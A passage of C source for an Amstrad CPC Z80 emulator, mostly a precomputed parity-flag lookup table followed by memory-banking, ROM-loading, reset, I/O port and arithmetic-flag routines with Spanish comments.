0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84,0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80, 0x84,0x80,0x80,0x84,0x80,0x84,0x84,0x80,0x80,0x84,0x84,0x80,0x84,0x80,0x80,0x84 }; #endif #ifndef use_lib_lookup_znptable //******************************************************** inline unsigned char Get_no_lookup_znptable(unsigned char c) { unsigned char d,g; unsigned char f= 0; if (c == 0) return 0x44; d= (c&0xA8); for (g=0;g<8;g++) { if (c&1) f++; c>>= 1; } if (!(f&1)) d|= 0x04; return d; } #endif #ifndef use_lib_lookup_znptable16 //******************************************************** inline unsigned char Get_no_lookup_znptable16(unsigned short int c) { unsigned char d= 0; unsigned char f= 0; unsigned char g; if (c == 0) return 0x44; if (c&0x8000) d= 0x80; for (g=0;g<16;g++) { if (c&1) f++; c>>=1; } if (!(f&1)) d|= 0x04; return d; } #endif //void makeznptable() //{ // int c,d,e,f,g; // for (c=0;c<256;c++) // { // d=0; // d|=(c&0xA8); // e=c; // f=0; // for (g=0;g<8;g++) // { // if (e&1) f++; // e>>=1; // } // if (!(f&1)) // d|=4; // znptable[c]=d; // } // znptable[0]|=0x40; // for (c=0;c<65536;c++) // { // d=0; // if (c&0x8000) d|=0x80; // e=c; // f=0; // for (g=0;g<16;g++) // { // if (e&1) f++; // e>>=1; // } // if (!(f&1)) // d|=4; // znptable16[c]=d; // } // znptable16[0]|=0x40; //} void dumpram() { /* FILE *f=fopen("ram.dmp","wb"); fwrite(ram,65536,1,f); fclose(f); f=fopen("ram2.dmp","wb"); fwrite(ram+0x10000,65536,1,f); fclose(f);*/ } void rebuildmem() { #ifdef use_lib_mem_blocks readarray[0]=lorom; readarray[1]=ramArray[0]; readarray[2]=ramArray[0]; readarray[3]=ramArray[0]; writearray[0]=ramArray[0]; writearray[1]=ramArray[0]; writearray[2]=ramArray[0]; writearray[3]=ramArray[0]; #else readarray[0]=lorom; readarray[1]=ram; readarray[2]=ram; readarray[3]=ram; writearray[0]=ram; writearray[1]=ram; writearray[2]=ram; writearray[3]=ram; #endif } /*void ImprimeTablaPrecalculada() { int cont=0; printf("Table znptable\n"); for (int i=0;i<256;i++) { printf("0x%02x,",znptable[i]); cont++; if (cont>=16) { cont=0; printf("\n"); } } cont=0; printf("Table znptable16\n"); for (int i=0;i<65536;i++) { printf("0x%02x,",znptable16[i]); cont++; if (cont>=16) { cont=0; printf("\n"); } } }*/ void initz80() { int c; //atexit(dumpram); //makeznptable(); //ImprimeTablaPrecalculada(); //Para la rom en memoria dinamica //JJ lorom=(unsigned char *)calloc(0x4000,1); for (c=0;c<16;c++) { //hirom[c]=(unsigned char *)calloc(0x4000,1); //memset(hirom[c],0,16384); //hirom[c]= NULL; hirom[c]= (unsigned char*)gb_rom_464_1; } #ifdef use_lib_mem_blocks for (c=0;c<2;c++) memset(ramArray[c],1,0x10000); #else #ifdef use_lib_cheat_128k memset(ram,1,0x10000); #else #ifdef use_lib_fix_psram_128k memset(ram,1,0x10000); //Modo 128K psram #else memset(ram,1,0x10000); //Modo 64K #endif #endif #endif //JJ ram=(unsigned char *)calloc(0x20000,1); //Creado en Setup rebuildmem(); } //Lee desde Flash todas las roms void loadroms2FlashModel() { //printf("Modelo %d\n",aModel); if (model == 2) { #if defined(use_lib_128k) || defined(use_lib_cheat_128k) || defined(use_lib_fix_psram_128k) lorom = (unsigned char*)gb_rom_6128_0; //16KB primeros hirom[0]= (unsigned char*)gb_rom_6128_1; #endif //memcpy(lorom,gb_rom_6128,16384); //memcpy(hirom[0],&gb_rom_6128[16384],16384); } else { if (model == 1) { lorom = (unsigned char*)gb_rom_664_0; hirom[0] = (unsigned char*)gb_rom_664_1; //memcpy(lorom,gb_rom_664,16384); //memcpy(hirom[0],&gb_rom_664[16384],16384); } else { lorom = (unsigned char*)gb_rom_464_0; hirom[0] = (unsigned char*)gb_rom_464_1; //memcpy(lorom,gb_rom_464,16384); //memcpy(hirom[0],gb_rom_464_1,16384); } } hirom[7] = (unsigned char *)gb_rom_amsdos; //memcpy(hirom[7],gb_rom_amsdos,16384); ramconfigBefore= 255; //force bank switch curhromBefore= 255; } /*void loadroms() { FILE *f; if (model==2) f=fopen("6128.rom","rb"); else if (model==1) f=fopen("664.rom","rb"); else f=fopen("464.rom","rb"); fread(lorom,16384,1,f); fread(hirom[0],16384,1,f); fclose(f); f=fopen("amsdos.rom","rb"); fread(hirom[7],16384,1,f); fclose(f); }*/ void resetz80() { pc=0; iff1=iff2=0; #ifdef use_lib_mem_blocks for (int i=0;i<2;i++) memset(ramArray[i],0,0x10000); //65536 64 KB ram = ramArray[0]; //Inicio #else #ifdef use_lib_cheat_128k memset(ram,0,0x10000); //truco 122880 bytes #else #ifdef use_lib_fix_psram_128k memset(ram,0,0x10000); //128K psram #else memset(ram,0,0x10000); //hay que setear memoria 64K #endif #endif #endif loromena=1; hiromena=0; galines=0; writega(0,0xC0); } //if (a==0xBE60 && v==0xC3) { dumpregs(); output=1; } #define readmem(a) readarray[(a&0xFFFF)>>14][a&0xFFFF] #define writemem(a,v) writearray[(a&0xFFFF)>>14][a&0xFFFF]=v; #define push(v) { sp--; writearray[sp>>14][sp]=v; } unsigned char readmemf(unsigned short a) { return readarray[(a&0xFFFF)>>14][a&0xFFFF]; } unsigned char readmemf2(unsigned short a) { return writearray[(a&0xFFFF)>>14][a&0xFFFF]; } inline unsigned char pull() { unsigned char temp=readarray[sp>>14][sp]; sp++; return temp; } inline unsigned char z80in(unsigned short a) { if (!(a&0x4000)) return readcrtc(a); if (!(a&0x800)) return read8255(a); if (!(a&0x480)) return readfdc(a); return 0xFF; } inline void z80out(unsigned short a, unsigned char v) { if (!(a&0x8000)) writega(a,v); if (!(a&0x4000)) writecrtc(a,v); if (!(a&0x2000)) { curhrom=v&15; // printf("Current hirom = %i, ena %i\n",hiromena,curhrom); if (hiromena) { //if (hirom[curhrom] == NULL) // printf ("Soy nulo z80out %d\n",curhrom); if (hirom[curhrom] != NULL) {//JJ flash rom readarray[3]=hirom[curhrom]-0xC000; } else { readarray[3]= hirom[0]-0xC000; //fuerzo a rom existente 0 } } } if (!(a&0x800)) write8255(a,v); if (!(a&0x480)) writefdc(a,v); } inline void setzn(unsigned char v) { af.b.l&=~(N_FLAG|Z_FLAG|V_FLAG|0x28|C_FLAG); #ifdef use_lib_lookup_znptable af.b.l|=znptable[v]; #else af.b.l|= Get_no_lookup_znptable(v); #endif } inline void setznc(unsigned char v) { af.b.l&=~(N_FLAG|Z_FLAG|V_FLAG|0x28); #ifdef use_lib_lookup_znptable af.b.l|=znptable[v]; #else af.b.l|= Get_no_lookup_znptable(v); #endif } signed short temps; inline void setadd(unsigned char a, unsigned char b) { #ifdef use_lib_lookup_znptable af.b.l=znptable[(a+b)&0xFF]; #else af.b.l= Get_no_lookup_znptable(((a+b)&0xFF)); #endif af.b.l&=~(C_FLAG|V_FLAG); if ((a+b)&0x100) af.b.l|=C_FLAG; temps=(signed short)(signed char)a+(signed short)(signed char)b; if (temps<-128 || temps>127) af.b.l|=V_FLAG; if (((a&0xF)+(b&0xF))&0x10) af.b.l|=H_FLAG; } inline void setadc(unsigned char a, unsigned char b) { #ifdef use_lib_lookup_znptable af.b.l=znptable[(a+b+tempc)&0xFF]; #else af.b.l= Get_no_lookup_znptable(((a+b+tempc)&0xFF)); #endif af.b.l&=~V_FLAG; if ((a+b+tempc)&0x100) af.b.l|=C_FLAG; 